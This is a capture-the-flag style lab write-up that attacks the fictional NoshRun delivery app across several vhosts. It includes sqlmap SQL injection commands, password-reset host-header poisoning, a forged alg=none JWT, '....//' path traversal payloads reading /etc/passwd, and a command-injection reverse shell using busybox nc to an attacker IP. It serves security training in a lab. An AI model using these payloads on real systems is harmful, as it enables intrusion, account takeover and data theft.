> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/webverse-pro/2026/noshrun.md).

# NoshRun

{% embed url="<https://dashboard.webverselabs-pro.com/ranges/noshrun>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## **Scenario**

NoshRun's investors want a clean external pentest before the next round. You're handed the public surface and a single customer account — nothing else. Work the ordering app, the partner dashboard, the API, the promotions engine, and the internal ops panel, and see how far a startup that "shipped fast and locked it down later" really lets you get.

## Summary

<details>

<summary>Summary</summary>

In NoshRun, we begin with external enumeration and discover a single web server on port `80`. Virtual host fuzzing with FFuF uncovers several subdomains, including `order`, `api`, `kitchen`, `ops`, `drivers`, and `promo`.

On `order.noshrun.local`, we identify a SQL injection vulnerability in the search parameter. Using SQLMap with a UNION-based technique against the PostgreSQL backend, we enumerate the `public` schema, dump the `orders` table to recover the first flag, and extract owner email addresses from the `restaurants` table, noting `mike@trestacos.lab` for later use.

On `api.noshrun.local`, browsing the versioned driver endpoints directly reveals sensitive driver data exposed without authentication on the v1 endpoint, yielding the third flag.

Returning to `order.noshrun.local`, we authenticate with a self-registered account and place an order. Observing that promo codes are applied via a POST request to `promo.noshrun.local`, we capture the order request and multiple promo apply requests in Burp Suite, group them, and send them in parallel using last-byte sync to exploit a race condition. The server returns a 500 and leaks the fourth flag.

On `kitchen.noshrun.local`, we leverage the recovered email address to trigger a password reset for `mike`. By injecting a malicious `X-Forwarded-Host` header into the reset request and listening with a Python web server, we poison the reset link and redirect it to our machine. Using the captured token, we reset Mike's password, authenticate to the kitchen dashboard, and retrieve the second flag.

On `ops.noshrun.local`, directory brute-forcing with Feroxbuster reveals an exposed `.git` directory. We dump the repository with `gitdumper` and inspect `server.js`, which discloses the JWT signing logic, cookie name `nosh_ops`, and the payload structure. We forge an unsigned JWT with `role: admin` and set it as a cookie, gaining access to the admin panel. The `/admin/system` endpoint yields the fifth flag.

The `/admin/export/download` endpoint strips only literal `../` sequences, allowing path traversal via `....//` payloads. At `/admin/diag`, we identify a command injection vector and catch a reverse shell as `jerry` using Penelope, recovering the seventh flag. Revisiting the export endpoint with a traversal payload, we read `flag.txt` from the root directory via the LFI, capturing the sixth flag and completing the scenario.

</details>

## Recon

We start with a port scan and find only one open port, port 80.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.100.89.14 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/B8LZIl0kWVTdRY382mg7" alt=""><figcaption></figcaption></figure>

Our scan shows that we are being redirected to `http://noshrun.local/`.

<figure><img src="/files/Jd7rPTiuvlcVeIBBKcRr" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.100.0.78 noshrun.local
```

{% endcode %}

We try to identify the other virtual hosts using FFuF and find what we're looking for.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.noshrun.local" -u http://noshrun.local -fw 3
```

{% endcode %}

<figure><img src="/files/rfextxYhA7BJJgu5D7qv" alt=""><figcaption></figcaption></figure>

We will edit our `/etc/hosts` file as follows.

{% code overflow="wrap" expandable="true" %}

```
10.100.0.78	noshrun.local www.noshrun.local api.noshrun.local promo.noshrun.local order.noshrun.local ops.noshrun.local kitchen.noshrun.local drivers.noshrun.local
```

{% endcode %}

We visit the initial vhost. There we can order for a delivery.

{% code overflow="wrap" expandable="true" %}

```
http://noshrun.local/
```

{% endcode %}

<figure><img src="/files/F5n4upOVexDAOqwrBN5j" alt=""><figcaption></figcaption></figure>

## [www.noshrun.local](http://www.noshrun.local)

The `www` vhost serves the same page as the original one. If we scroll down, we find a discount code. Interesting. This could come in handy later - perhaps by exploiting a race condition by applying multiple discount codes to a single order.

<figure><img src="/files/WMgXbL8PFimJTJUulCPP" alt=""><figcaption></figcaption></figure>

## order.noshrun.local

Let's take a look at the `order` vhost. Here, you can search for different options to order. Let's see if this is vulnerable to SQL injection using the payload `'` and get an error. This is a strong indication that we can exploit it.

{% code overflow="wrap" expandable="true" %}

```
http://order.noshrun.local/search?q='
```

{% endcode %}

<figure><img src="/files/TqD2188UaXs4SAkFI68g" alt=""><figcaption></figcaption></figure>

We try a UNION-based SQL injection to leak the database and use an ORDER BY clause to determine how many columns the query retrieves. It stops at 5, so we're dealing with four columns. Further testing has revealed that we're dealing with a PostgreSQL database. We'll make things easy on ourselves and continue with SQLMap.

{% code overflow="wrap" expandable="true" %}

```
http://order.noshrun.local/search?q='+ORDER+BY+5+--+-
```

{% endcode %}

<figure><img src="/files/ZfNffaOxe8z5TnWwBU8G" alt=""><figcaption></figcaption></figure>

We are trying to identify the database and have one in front of us named `public`.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://order.noshrun.local/search?q=a' --technique=U --dbms=postgresql -dbs
```

{% endcode %}

<figure><img src="/files/YYh6MUT7DeQhd7ZOvPOB" alt=""><figcaption></figcaption></figure>

We'll list the tables. There are some interesting ones among them. But as it turns out, we won't be able to read them all.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://order.noshrun.local/search?q=a' --technique=U --dbms=postgresql -D public --tables
```

{% endcode %}

<figure><img src="/files/DjuluUGMYHdcQv1xAbpD" alt=""><figcaption></figcaption></figure>

In the `orders` table, we then find the first flag!

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://order.noshrun.local/search?q=a' --technique=U --dbms=postgresql  -D public -T orders --dump 
```

{% endcode %}

<figure><img src="/files/nFGKNBx67awBCBwfR6vu" alt=""><figcaption></figcaption></figure>

We can list the columns in the password reset table, but we cannot retrieve their contents. This would have been useful for other endpoints that we haven't covered yet but that offer a password reset feature.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://order.noshrun.local/search?q=a' --technique=U --dbms=postgresql  -D public -T password_resets --columns
```

{% endcode %}

<figure><img src="/files/n73ejaxabTm7C3zQWfaA" alt=""><figcaption></figcaption></figure>

Let's take a look at our permissions for the tables and see that we can save ourselves the trouble of trying to query the sensitive tables for now.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://order.noshrun.local/search?q=a' --technique=U --sql-query="SELECT table_name,privilege_type FROM information_schema.role_table_grants WHERE grantee=current_user"
```

{% endcode %}

<figure><img src="/files/OYuikEqZrEGxYPqnECn5" alt=""><figcaption></figcaption></figure>

The restaurant table is also of interest, as it lists the owners along with their email addresses. We can also retrieve the password hashes for each owner, but these cannot be cracked.

{% code overflow="wrap" expandable="true" %}

```
sqlmap -u 'http://order.noshrun.local/search?q=a' --technique=U --dbms=postgresql -D public -T restaurants -C owner_email --dump
```

{% endcode %}

<figure><img src="/files/Z6h3zrbXIafEYUmrmEt7" alt=""><figcaption></figcaption></figure>

For now, we note down the following email.

{% code overflow="wrap" expandable="true" %}

```
mike@trestacos.lab
```

{% endcode %}

We visit the orders page again. This time we sign in with a created account by us and make an order. We can see that we can apply the discount code to each order made, but only one for each order as it seems. With a closer look using chromium and preserving the logs we can see that a POST request is being made to the `promo` vhost.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://order.noshrun.local/orders
```

{% endcode %}

<figure><img src="/files/8vAIchETL3se4T3HtWqQ" alt=""><figcaption></figcaption></figure>

The payload contains the `order_id`, the `customer_id` and the promo code. So this might enable us to apply multiple promos to a single order.

<figure><img src="/files/p6Um4z1eQ5ihSxjNCueR" alt=""><figcaption></figcaption></figure>

We catch each request of making an order and applying the promocode in Burp Suite and repeatly sent the `/api/apply-promo` to our repeater. We have now one order request and multiple promo request. We add them all to a single group and send them in parallel via last byte snyc so each request hit exactly by the last byte the server at the same time.&#x20;

<figure><img src="/files/tY50QB834asmetsxmAaF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pVbc22Gj7M8P7U3SntIX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ETEYvDJw9pPxfWB26BNe" alt=""><figcaption></figcaption></figure>

The server throws a 500 and we get the fourth flag.

<figure><img src="/files/CFg6PzHe9itmaKrCMkv6" alt=""><figcaption></figcaption></figure>

## api.noshrun.local

We move to the `api` vhost. This reveals us two path.

{% code overflow="wrap" expandable="true" %}

```
http://api.noshrun.local/
```

{% endcode %}

<figure><img src="/files/gEHITQYSPUMW7FaOlPti" alt=""><figcaption></figcaption></figure>

We visit the older one, revealing sensitive data of each driver and the third flag.

{% code overflow="wrap" expandable="true" %}

```
http://api.noshrun.local/api/drivers/v1
```

{% endcode %}

<figure><img src="/files/9oNvsibhKzUQeqjIY2H3" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
http://api.noshrun.local/api/drivers/v2
```

{% endcode %}

<figure><img src="/files/l42aFkK904Ia5FXiVfrU" alt=""><figcaption></figcaption></figure>

## kitchen.noshrun.local

Next, we visit the `kitchen` vhost. This requires a login by an owner. Fortunatley we got them already thorugh our SQLinjection. The site offers a password reset functionality.

{% code overflow="wrap" expandable="true" %}

```
http://kitchen.noshrun.local/login
```

{% endcode %}

<figure><img src="/files/KL5hrhVGM5kdUDTV2Nn9" alt=""><figcaption></figcaption></figure>

We make a password reset request for mike's account.

<figure><img src="/files/DawlJakDkeHmejJldq86" alt=""><figcaption></figcaption></figure>

What we're trying now is called host header injection. We attempt to poison the host header using the X-Forwarded-Host header, hoping that the password reset link is crafted based on the host header value - so that the resulting reset link points to our server instead of the legitimate one.

{% embed url="<https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning>" %}

<figure><img src="/files/vGtkBh9Q1lKZhI8ZqPwZ" alt=""><figcaption></figcaption></figure>

We run a python web server and after a short duration we get the reset link.

<figure><img src="/files/ceK3gsEHEHatsnutJJ2g" alt=""><figcaption></figcaption></figure>

Next, we use the link to reset the password of mike's account.

{% code overflow="wrap" expandable="true" %}

```
http://kitchen.noshrun.local/reset-password?token=ROZDJ0E7Zrsn0PJ_TcAh0dklSys7a5752S4fsZtyrHo
```

{% endcode %}

<figure><img src="/files/HEo06GqdElYs9jf1wDiK" alt=""><figcaption></figcaption></figure>

We now have access to the dashboard and the second flag.

{% code overflow="wrap" expandable="true" %}

```
http://kitchen.noshrun.local/dashboard
```

{% endcode %}

<figure><img src="/files/Z5O7wbZb764T9bRI2yoF" alt=""><figcaption></figcaption></figure>

## drivers.noshrun.local

We visit the `drivers` vhost but there seems nothing interesting so far.

{% code overflow="wrap" expandable="true" %}

```
http://drivers.noshrun.local/apply
```

{% endcode %}

<figure><img src="/files/6czSAhnj3c95RWXCDuz3" alt=""><figcaption></figcaption></figure>

## ops.noshrun.local

Next, we move on to the `ops` vhost. This requires a login. Unfortuntely we do not know yet, what authentication mechnisms are used. Neither do we know any admins or email adresses related to them. The login also is not vulnerable to username enumeration.

{% code overflow="wrap" expandable="true" %}

```
http://ops.noshrun.local/admin
```

{% endcode %}

<figure><img src="/files/0Y9jA7Wj4OI0jkJw9Vof" alt=""><figcaption></figcaption></figure>

We run a directory scan using Feroxbuster with the `common.txt` file and find a `.git` folder. This might hold some sensitive information.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://ops.noshrun.local'
```

{% endcode %}

<figure><img src="/files/xqhWXRZiv2hVDBh8AETz" alt=""><figcaption></figcaption></figure>

We use gitdumper to retrieve the data from the repository.

{% code overflow="wrap" expandable="true" %}

```
gitdumper.sh http://ops.noshrun.local/.git/ ./git-dump
```

{% endcode %}

<figure><img src="/files/RWnMQerUSMkW28Oid72Q" alt=""><figcaption></figcaption></figure>

And we see a `server.js` file. We restore the files via a checkout.

{% code overflow="wrap" expandable="true" %}

```
git status
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
git checkout -- .
```

{% endcode %}

<figure><img src="/files/znWOPftbAW3CxO5uRz9B" alt=""><figcaption></figcaption></figure>

We inspect the file.. and among other we see how the authentication is being handled. A JWT is used witht he cookie name `nosh_ops` and only a mail and role is set.

{% code overflow="wrap" expandable="true" %}

```
cat server.js
```

{% endcode %}

<figure><img src="/files/fxNbBe4UDDed9efdv4zS" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
const token = jwt.sign(
  { email: user.email, role: user.role },   
  JWT_SECRET,
  { algorithm: 'HS256', expiresIn: '12h' }  
);
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
res.cookie('nosh_ops', token, { httpOnly: true, sameSite: 'lax', maxAge: 12 * 60 * 60 * 1000 });
```

{% endcode %}

In my initial attempt I missed the git repostory and deduced the cookie name by the other vhosts and the structure from them and assumed a JWT was used.

{% code overflow="wrap" expandable="true" %}

```
http://drivers.noshrun.local/dashboard
```

{% endcode %}

<figure><img src="/files/ZepYBDZPQghh85yCAwE4" alt=""><figcaption></figcaption></figure>

It turns out only role is required, in this example the user diego is being used as that user is decribed as the admin in the scenario.

{% code overflow="wrap" expandable="true" %}

```
{
  "user_id": 1,
  "email": "diego@noshrun.com",
  "role": "admin",
  "iat": 1234567890,
  "exp": 1234567890
}
```

{% endcode %}

We try to craft our own JWT without a signature chosing the algorithm `none`.

<figure><img src="/files/Celhpa1pqTlrrVuJToad" alt=""><figcaption></figcaption></figure>

We set the cookie and now have access to the admin dashboard.

{% code overflow="wrap" expandable="true" %}

```
http://ops.noshrun.local/admin
```

{% endcode %}

<figure><img src="/files/NmhncOhcoUq8WBNjcje1" alt=""><figcaption></figcaption></figure>

There we can export files.

{% code overflow="wrap" expandable="true" %}

```
http://ops.noshrun.local/admin/export
```

{% endcode %}

<figure><img src="/files/OignKsdlHxeH1X8X8IKF" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KEhPbQumcVnb1CwMEwPP" alt=""><figcaption></figcaption></figure>

It turns out, it is vulnerable to Local File Inclusion, but no other files to export can be found yet.

{% code overflow="wrap" expandable="true" %}

```
/admin/export/download?file=....//....//etc//passwd
```

{% endcode %}

<figure><img src="/files/dHwGWGb1rPDSyKkHQNQO" alt=""><figcaption></figcaption></figure>

At the endpoint `diag` we can query for other services internally and externally.

{% code overflow="wrap" expandable="true" %}

```
http://ops.noshrun.local/admin/diag
```

{% endcode %}

<figure><img src="/files/4ToaWQX645aXliLEmgiF" alt=""><figcaption></figcaption></figure>

The systems endpoint reveals the fifth flag.

{% code overflow="wrap" expandable="true" %}

```
http://ops.noshrun.local/admin/system
```

{% endcode %}

<figure><img src="/files/QTMB2K3YibtH0SmqD0n3" alt=""><figcaption></figcaption></figure>

We move back to the `diag` endpoint and try some command injection via command substituion and try to catch a reverse shell. We set up a listener using Penelope.

{% code overflow="wrap" expandable="true" %}

```
http://ops.noshrun.local/admin/diag
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
$(busybox nc 10.8.0.4 4445 -e sh)
```

{% endcode %}

<figure><img src="/files/hbizCOvznqLzv2K5KNxt" alt=""><figcaption></figcaption></figure>

After we run the check we successfully get a stable reverse shell as `jerry`.

<figure><img src="/files/Lzfk3F0Mbg48qLEMqkLZ" alt=""><figcaption></figcaption></figure>

From there we find the seventh flag.

<figure><img src="/files/5w8TMDjY5RI1l3I6WDoJ" alt=""><figcaption></figcaption></figure>

In the root directory we find another flag owned by `node`. We might be able to read it via the LFI.

<figure><img src="/files/gkVs72DdxHVLqBJFxJ2h" alt=""><figcaption></figcaption></figure>

We head back to the export endpoint.

{% code overflow="wrap" expandable="true" %}

```
http://ops.noshrun.local/admin/export
```

{% endcode %}

<figure><img src="/files/zr3iZC5PbypTiSKpadRM" alt=""><figcaption></figcaption></figure>

We catch the request.

<figure><img src="/files/gNVD7FtN70yj7vB61cqH" alt=""><figcaption></figcaption></figure>

Recalling the source code we see why we were able to perform a path traversal. Only ../ is being stripped.

<figure><img src="/files/1vLMrktO4BWKCOQ33PJv" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```javascript
const EXPORT_DIR = path.join(__dirname, 'exports');
app.get('/admin/export/download', requireAdmin, wrap(async (req, res) => {
  let file = String(req.query.file || '');
  file = file.split('../').join('');
  let data;
  try {
    data = fs.readFileSync(path.join(EXPORT_DIR, file));
  } catch (e) {
    return res.status(404).send('export not found');
  }
  res.setHeader('Content-Type', 'text/csv; charset=utf-8');
  res.setHeader('Content-Disposition', 'attachment; filename="' + path.basename(file) + '"');
  res.send(data);
}));
```

{% endcode %}

We include the flag and retrieve the sixth flag and finish the scenario.

{% code overflow="wrap" expandable="true" %}

```
....//....//flag.txt 
```

{% endcode %}

<figure><img src="/files/PNHcM4PYAvQdozFfOcYu" alt=""><figcaption></figcaption></figure>
